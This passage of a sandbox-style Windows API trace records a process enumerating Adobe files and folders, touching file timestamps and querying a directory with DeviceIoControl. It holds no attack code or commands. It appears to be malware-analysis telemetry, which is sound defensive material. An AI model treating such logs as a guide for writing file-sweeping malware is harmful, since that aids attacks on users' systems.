ftLastAccessTime.dwLowDateTime=0x7d938760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.RUS", cAlternateFileName="")) returned 1 [0085.823] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d938760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.SKY", cAlternateFileName="")) returned 1 [0085.823] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d938760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.SLV", cAlternateFileName="")) returned 1 [0085.823] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8c6340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.SUO", cAlternateFileName="")) returned 1 [0085.823] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8a01e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.SVE", cAlternateFileName="")) returned 1 [0085.823] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d938760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.TUR", cAlternateFileName="")) returned 1 [0085.823] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d938760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.UKR", cAlternateFileName="")) returned 1 [0085.823] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49800, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.CAT", cAlternateFileName="")) returned 1 [0085.823] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8058e120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.CHS", cAlternateFileName="")) returned 1 [0085.823] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8058e120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.CHT", cAlternateFileName="")) returned 1 [0085.823] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d5bd20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49600, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.CZE", cAlternateFileName="")) returned 1 [0085.823] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8058e120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49600, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.DAN", cAlternateFileName="")) returned 1 [0085.823] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8058e120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49800, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.DEU", cAlternateFileName="")) returned 1 [0085.824] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8051bd00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5f598, dwReserved0=0x0, dwReserved1=0x0, cFileName="pdfshell.dll", cAlternateFileName="")) returned 1 [0085.824] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80567fc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49800, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.ESP", cAlternateFileName="")) returned 1 [0085.825] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49600, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.EUQ", cAlternateFileName="")) returned 1 [0085.825] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80567fc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49800, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.FRA", cAlternateFileName="")) returned 1 [0085.825] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d5bd20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49600, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.HRV", cAlternateFileName="")) returned 1 [0085.825] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d5bd20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49600, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.HUN", cAlternateFileName="")) returned 1 [0085.825] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80567fc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49800, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.ITA", cAlternateFileName="")) returned 1 [0085.826] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80567fc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.JPN", cAlternateFileName="")) returned 1 [0085.826] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80567fc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.KOR", cAlternateFileName="")) returned 1 [0085.826] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80567fc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49600, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.NLD", cAlternateFileName="")) returned 1 [0085.826] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80567fc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49600, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.NOR", cAlternateFileName="")) returned 1 [0085.826] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d5bd20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49600, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.POL", cAlternateFileName="")) returned 1 [0085.826] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80541e60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49800, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.PTB", cAlternateFileName="")) returned 1 [0085.826] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d5bd20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49600, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.RUM", cAlternateFileName="")) returned 1 [0085.826] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d35bc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49600, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.RUS", cAlternateFileName="")) returned 1 [0085.826] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d35bc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49600, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.SKY", cAlternateFileName="")) returned 1 [0085.826] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d35bc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49600, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.SLV", cAlternateFileName="")) returned 1 [0085.826] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8039ef40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49600, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.SUO", cAlternateFileName="")) returned 1 [0085.826] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80378de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49600, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.SVE", cAlternateFileName="")) returned 1 [0085.826] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d35bc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49600, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.TUR", cAlternateFileName="")) returned 1 [0085.826] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d35bc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49600, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.UKR", cAlternateFileName="")) returned 1 [0085.826] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d35bc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49600, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.UKR", cAlternateFileName="")) returned 0 [0085.826] GetLastError () returned 0x12 [0085.827] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d260) returned 1 [0085.827] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0085.828] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0085.828] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0085.828] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf1a9e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f24da0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ActiveX", cAlternateFileName="")) returned 0 [0085.828] GetLastError () returned 0x12 [0085.828] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d150) returned 1 [0085.828] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0085.829] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0085.829] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0085.829] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8386f760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8386f760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8386f760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARM", cAlternateFileName="")) returned 1 [0085.829] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM" (normalized: "c:\\program files (x86)\\common files\\adobe\\arm"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8386f760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8386f760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8386f760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0085.829] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM" (normalized: "c:\\program files (x86)\\common files\\adobe\\arm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0085.829] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0085.829] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0085.830] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0085.830] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0085.830] NtClose (Handle=0x168) returned 0x0 [0085.830] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0085.830] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0085.830] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0085.830] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d150 [0085.831] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9040 [0085.831] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8386f760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8386f760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8386f760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.831] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8386f760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8386f760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8386f760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0", cAlternateFileName="")) returned 1 [0085.831] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8386f760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8386f760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8386f760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0", cAlternateFileName="")) returned 0 [0085.831] GetLastError () returned 0x12 [0085.831] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e91c0 [0085.831] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0085.831] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8386f760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8386f760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8386f760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.831] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8386f760, ftCreationTime.dwHighDateTime=0x1d2dda0, 